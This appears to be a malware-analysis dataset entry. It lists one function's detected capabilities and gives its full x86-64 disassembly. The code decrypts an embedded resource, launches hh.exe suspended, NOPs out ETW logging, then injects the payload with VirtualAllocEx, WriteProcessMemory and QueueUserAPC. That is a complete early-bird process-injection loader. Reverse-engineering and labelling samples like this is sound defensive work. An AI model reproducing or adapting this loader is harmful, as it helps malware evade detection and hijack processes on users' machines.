Function at 0x140002950
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Extract resource via kernel32 functions
Inject apc
Patch event tracing for windows function
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x40]
sub rsp, 0x140
call fcn.1400016e0
mov edx, 0x64
xor ecx, ecx
lea r8d, [rdx - 0x5a]
call sub.KERNEL32.dll_FindResourceA
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call sub.KERNEL32.dll_LoadResource
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x60], 0xf464a8f7
mov dword [rsp + 0x64], 0xbddf476a
mov dword [rsp + 0x68], 0x5d4b11a6
mov dword [rsp + 0x6c], 0x2e3c9954
mov dword [rsp + 0x70], 0xaa382438
mov dword [rsp + 0x74], 0x7e6015b7
mov dword [rsp + 0x78], 0xdf52a896
mov dword [rsp + 0x7c], 0x214fe304
mov dword [rsp + 0x50], 0x1c7ec638
mov dword [rsp + 0x54], 0x670fd624
mov dword [rsp + 0x58], 0x9fa23c82
mov dword [rsp + 0x5c], 0xa805e447
test rdi, rdi
je 0x140002a46
test eax, eax
je 0x140002a46
lea rcx, [rsp + 0x60]
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x48], rcx
lea rcx, [rsp + 0x50]
mov qword [rbp - 0x40], rcx
lea rcx, [rbp - 0x68]
mov dword [rbp - 0x50], eax
call section..text
test eax, eax
je 0x140002a46
mov rax, qword [rbp - 0x68]
mov qword [0x140025bc0], rax
mov eax, dword [rbp - 0x60]
mov dword [0x140025bc8], eax
xorps xmm0, xmm0
lea rcx, str.C:Windowshh.exe
xor eax, eax
xor r14d, r14d
mov qword [rbp + 0x30], rax
xor r9d, r9d
mov qword [rbp - 0x70], rax
xor r8d, r8d
lea rax, [rbp - 0x80]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r14d
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp - 0x80], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rdi, qword [rbp - 0x80]
lea rcx, str.NTDLL
mov rsi, qword [rbp - 0x78]
mov dword [rbp + 0x70], r14d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.EtwEventWriteFull
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rax
test rax, rax
jne 0x140002afa
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetProcAddress_Failed_With_Error:__d_n
call fcn.140003890
jmp 0x140002bbe
mov eax, r14d
mov rcx, r14
mov r8d, 0xccc3
cmp word [rcx + rdx], r8w
je 0x140002b20
inc eax
inc rcx
cmp rcx, 0x1000
jl 0x140002b06
jmp 0x140002bbe
test eax, eax
je 0x140002bbe
movsxd rcx, eax
jle 0x140002bbe
cmp byte [rcx + rdx], 0xe8
je 0x140002b43
dec eax
dec rcx
test rcx, rcx
jg 0x140002b31
jmp 0x140002bbe
movsxd rbx, eax
add rbx, rdx
je 0x140002bbe
cmp byte [rbx], 0xe8
jne 0x140002bbe
mov edx, 5
lea r9, [rbp + 0x70]
mov rcx, rbx
lea r8d, [rdx + 0x3b]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002b80
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, 0x119
lea rcx, [0x140019a58]
jmp 0x140002bb6
mov dword [rbx], 0x90909090
lea r9, [rbp + 0x70]
mov byte [rbx + 4], 0x90
mov edx, 5
mov r8d, dword [rbp + 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002bbe
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, 0x121
lea rcx, str.____VirtualProtect___d__Failed_With_Error:__d_n
mov r8d, eax
call fcn.140003890
mov r8d, dword [0x140025bc8]
xor edx, edx
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [0x140025bc8]
mov rcx, rdi
mov r8, qword [0x140025bc0]
mov rdx, rax
mov rbx, rax
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
lea r11, [rsp + 0x140]
xor eax, eax
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret